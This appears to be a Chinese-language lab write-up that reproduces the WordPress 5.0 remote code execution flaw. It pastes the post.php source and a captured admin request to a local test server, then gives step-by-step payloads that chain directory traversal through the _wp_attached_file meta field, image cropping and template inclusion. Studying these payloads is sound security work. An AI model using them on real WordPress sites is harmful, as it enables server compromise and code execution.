一、WordPress源碼分析
wordpress是單一入口，最初調用的是index.php
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
index.php-> wp-blog->header.php,執行wp()
require_once( dirname( __FILE__ ) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
—> wp-load.php
—>wp-config.php 配置數據庫等
—> wp-setting.php
二、WordPress5.0漏洞調試分析
define('AUTOMATIC_UPDATER_DISABLED',true);
在登陸後臺之前在wp-config.php中加入這個，要不然wp會自動更新修復Bug
(1)WordPress 5.0 RCE 詳細分析
看到在上傳圖片文件後，修改信息update的時候處理的php文件爲/wp-admin/post.php
POST /WordPress/wp-admin/post.php HTTP/1.1
Host: 192.168.1.38
Content-Length: 1024
Cache-Control: max-age=0
Origin: http://192.168.1.38
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.1.38/WordPress/wp-admin/post.php?post=37&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_e3ca52951c734d0cd487abb89556b35d=admin%7C1559267601%7C3e0fbRXKxUTgAvOqi1C6uyuxv9ml7vKsFOOQMxWY61f%7C209c5042ff858e675c714458adcf73706902372731d51ffd93417748d6348b23; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_e3ca52951c734d0cd487abb89556b35d=admin%7C1559267601%7C3e0fbRXKxUTgAvOqi1C6uyuxv9ml7vKsFOOQMxWY61f%7Cb58cb1615de8a8e460b252db61702533aeb2c331690ebfdf7f0f938aac4d8f19; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1559094801
Connection: close
_wpnonce=11ee4d6745&_wp_http_referer=%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&post_ID=37&meta-box-order-nonce=907417e7f4&closedpostboxesnonce=dcc054a1b3&post_title=1&samplepermalinknonce=baeaaafb2f&excerpt=&_wp_attachment_image_alt=&content=11111111111&attachment_url=http%3A%2F%2F192.168.1.38%2FWordPress%2Fwp-content%2Fuploads%2F2019%2F05%2F1-6.jpg%23%2F..%2F..%2F..%2F..%2Fthemes%2Ftwentynineteen%2F16-e1559100927286.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=5665e358d9&_ajax_fetch_list_nonce=1fd62550b6&_wp_http_referer=%2FWordPress%2Fwp-admin%2Fpost.php%3Fpost%3D37%26action%3Dedit&post_name=1-3&post_author_override=1
wp-admin/post.php
<?php
/**
* Edit post administration panel.
*
* Manage Post actions: post, edit, delete, etc.
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );
$parent_file = 'edit.php';
$submenu_file = 'edit.php';
wp_reset_vars( array( 'action' ) );
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = $post_ID = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = $post_ID = (int) $_POST['post_ID'];
} else {
$post_id = $post_ID = 0;
}
/**
* @global string $post_type
* @global object $post_type_object
* @global WP_Post $post
*/
global $post_type, $post_type_object, $post;
if ( $post_id ) {
$post = get_post( $post_id );
}
if ( $post ) {
$post_type = $post->post_type;
$post_type_object = get_post_type_object( $post_type );
}
if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
}
if ( isset( $_POST['deletepost'] ) ) {
$action = 'delete';
} elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' == $_POST['wp-preview'] ) {
$action = 'preview';
}
$sendback = wp_get_referer();
if ( ! $sendback ||
strpos( $sendback, 'post.php' ) !== false ||
strpos( $sendback, 'post-new.php' ) !== false ) {
if ( 'attachment' == $post_type ) {
$sendback = admin_url( 'upload.php' );
} else {
$sendback = admin_url( 'edit.php' );
if ( ! empty( $post_type ) ) {
$sendback = add_query_arg( 'post_type', $post_type, $sendback );
}
}
} else {
$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback );
}
switch ( $action ) {
case 'post-quickdraft-save':
// Check nonce and capabilities
$nonce = $_REQUEST['_wpnonce'];
$error_msg = false;
// For output of the quickdraft dashboard widget
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) {
$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
}
if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
exit;
}
if ( $error_msg ) {
return wp_dashboard_quick_press( $error_msg );
}
$post = get_post( $_REQUEST['post_ID'] );
check_admin_referer( 'add-' . $post->post_type );
$_POST['comment_status'] = get_default_comment_status( $post->post_type );
$_POST['ping_status'] = get_default_comment_status( $post->post_type, 'pingback' );
edit_post();
wp_dashboard_quick_press();
exit;
case 'postajaxpost':
case 'post':
check_admin_referer( 'add-' . $post_type );
$post_id = 'postajaxpost' == $action ? edit_post() : write_post();
redirect_post( $post_id );
exit();
case 'edit':
$editing = true;
if ( empty( $post_id ) ) {
wp_redirect( admin_url( 'post.php' ) );
exit();
}
if ( ! $post ) {
wp_die( __( 'You attempted to edit an item that doesn’t exist. Perhaps it was deleted?' ) );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ) );
}
if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ) ) ) {
wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
}
if ( 'trash' == $post->post_status ) {
wp_die( __( 'You can’t edit this item because it is in the Trash. Please restore it and try again.' ) );
}
if ( ! empty( $_GET['get-post-lock'] ) ) {
check_admin_referer( 'lock-post_' . $post_id );
wp_set_post_lock( $post_id );
wp_redirect( get_edit_post_link( $post_id, 'url' ) );
exit();
}
$post_type = $post->post_type;
if ( 'post' == $post_type ) {
$parent_file = 'edit.php';
$submenu_file = 'edit.php';
$post_new_file = 'post-new.php';
} elseif ( 'attachment' == $post_type ) {
$parent_file = 'upload.php';
$submenu_file = 'upload.php';
$post_new_file = 'media-new.php';
} else {
if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
$parent_file = $post_type_object->show_in_menu;
} else {
$parent_file = "edit.php?post_type=$post_type";
}
$submenu_file = "edit.php?post_type=$post_type";
$post_new_file = "post-new.php?post_type=$post_type";
}
$title = $post_type_object->labels->edit_item;
/**
* Allows replacement of the editor.
*
* @since 4.9.0
*
* @param boolean Whether to replace the editor. Default false.
* @param object $post Post object.
*/
if ( apply_filters( 'replace_editor', false, $post ) === true ) {
break;
}
if ( use_block_editor_for_post( $post ) ) {
include( ABSPATH . 'wp-admin/edit-form-blocks.php' );
break;
}
if ( ! wp_check_post_lock( $post->ID ) ) {
$active_post_lock = wp_set_post_lock( $post->ID );
if ( 'attachment' !== $post_type ) {
wp_enqueue_script( 'autosave' );
}
}
$post = get_post( $post_id, OBJECT, 'edit' );
if ( post_type_supports( $post_type, 'comments' ) ) {
wp_enqueue_script( 'admin-comments' );
enqueue_comment_hotkeys_js();
}
include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
break;
case 'editattachment':
check_admin_referer( 'update-post_' . $post_id );
// Don't let these be changed
unset( $_POST['guid'] );
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = wp_basename( $_POST['thumb'] );
wp_update_attachment_metadata( $post_id, $newmeta );
// Intentional fall-through to trigger the edit_post() call.
case 'editpost':
check_admin_referer( 'update-post_' . $post_id );
$post_id = edit_post();
// Session cookie flag that the post was saved
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
}
redirect_post( $post_id ); // Send user on their way while we keep working
exit();
case 'trash':
check_admin_referer( 'trash-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ) );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
}
if ( $user_id = wp_check_post_lock( $post_id ) ) {
$user = get_userdata( $user_id );
wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
}
if ( ! wp_trash_post( $post_id ) ) {
wp_die( __( 'Error in moving to Trash.' ) );
}
wp_redirect(
add_query_arg(
array(
'trashed' => 1,
'ids' => $post_id,
),
$sendback
)
);
exit();
case 'untrash':
check_admin_referer( 'untrash-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ) );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
}
if ( ! wp_untrash_post( $post_id ) ) {
wp_die( __( 'Error in restoring from Trash.' ) );
}
wp_redirect( add_query_arg( 'untrashed', 1, $sendback ) );
exit();
case 'delete':
check_admin_referer( 'delete-post_' . $post_id );
if ( ! $post ) {
wp_die( __( 'This item has already been deleted.' ) );
}
if ( ! $post_type_object ) {
wp_die( __( 'Invalid post type.' ) );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
}
if ( $post->post_type == 'attachment' ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) ) {
wp_die( __( 'Error in deleting.' ) );
}
} else {
if ( ! wp_delete_post( $post_id, true ) ) {
wp_die( __( 'Error in deleting.' ) );
}
}
wp_redirect( add_query_arg( 'deleted', 1, $sendback ) );
exit();
case 'preview':
check_admin_referer( 'update-post_' . $post_id );
$url = post_preview();
wp_redirect( $url );
exit();
case 'toggle-custom-fields':
check_admin_referer( 'toggle-custom-fields' );
$current_user_id = get_current_user_id();
if ( $current_user_id ) {
$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
}
wp_safe_redirect( wp_get_referer() );
exit();
default:
/**
* Fires for a given custom post action request.
*
* The dynamic portion of the hook name, `$action`, refers to the custom post action.
*
* @since 4.6.0
*
* @param int $post_id Post ID sent with the request.
*/
do_action( "post_action_{$action}", $post_id );
wp_redirect( admin_url( 'edit.php' ) );
exit();
} // end switch
include( ABSPATH . 'wp-admin/admin-footer.php' );
在admin.php中 進行數據庫更新？
includes\post.php
include payload
post_title=Thisis+test&post_name=thisis-testssssssssssaaaaaa&mm=05&jj=29&aa=2019&hh=14&mn=12&ss=27&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=f5199c6225&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=11&edit_date=true&post_status=all&meta_input[_wp_page_template]=cropped-11111.jpg
在復現的過程中要注意的點
php7遇到文件路徑的時候會檢查某個目錄是否存在，如果不存在則停止
所以在利用目錄穿越漏洞的時候要在uploads下創建對應的目錄
&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg
就是這個payload
具體操作如下：
先利用update截包修改文件名如下：&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/a.jpg
然後再利用手動截圖保存的功能，生成2-4.jpg#這個目錄
然後再利用完整的payload的將目錄穿越的文件名修改爲
&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg
繼而，進行手動截圖，加載目錄穿越的payload
action=crop-image&_ajax_nonce=8c2f0c9e6b&id=74&cropDetails[x1]=10&cropDetails[y1]=10&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=100&cropDetails[dst_height]=100
這個時候發現圖片已經拷貝過去了
在利用文件包含的時候需要注意的是，截到包以後，直接在Intercept這個裏面Forward，否則不成功
這裏可以加載模板的可以是media裏上傳一個test.txt也可以是在post中傳一篇文章，均測試通過
&meta_input[_wp_page_template]=cropped-32.jpg
調試代碼跟不下去了，phpstorm總是跳來跳去的，不知道怎麼回事，要是有大神可以指導一下如何調試，我是利用phpstrom+xdebug+firefox+burpsuit，加斷點調試，可是進行到圖片信息更新的時候，phpstrom就會亂跳。。。先貼上分析鏈接吧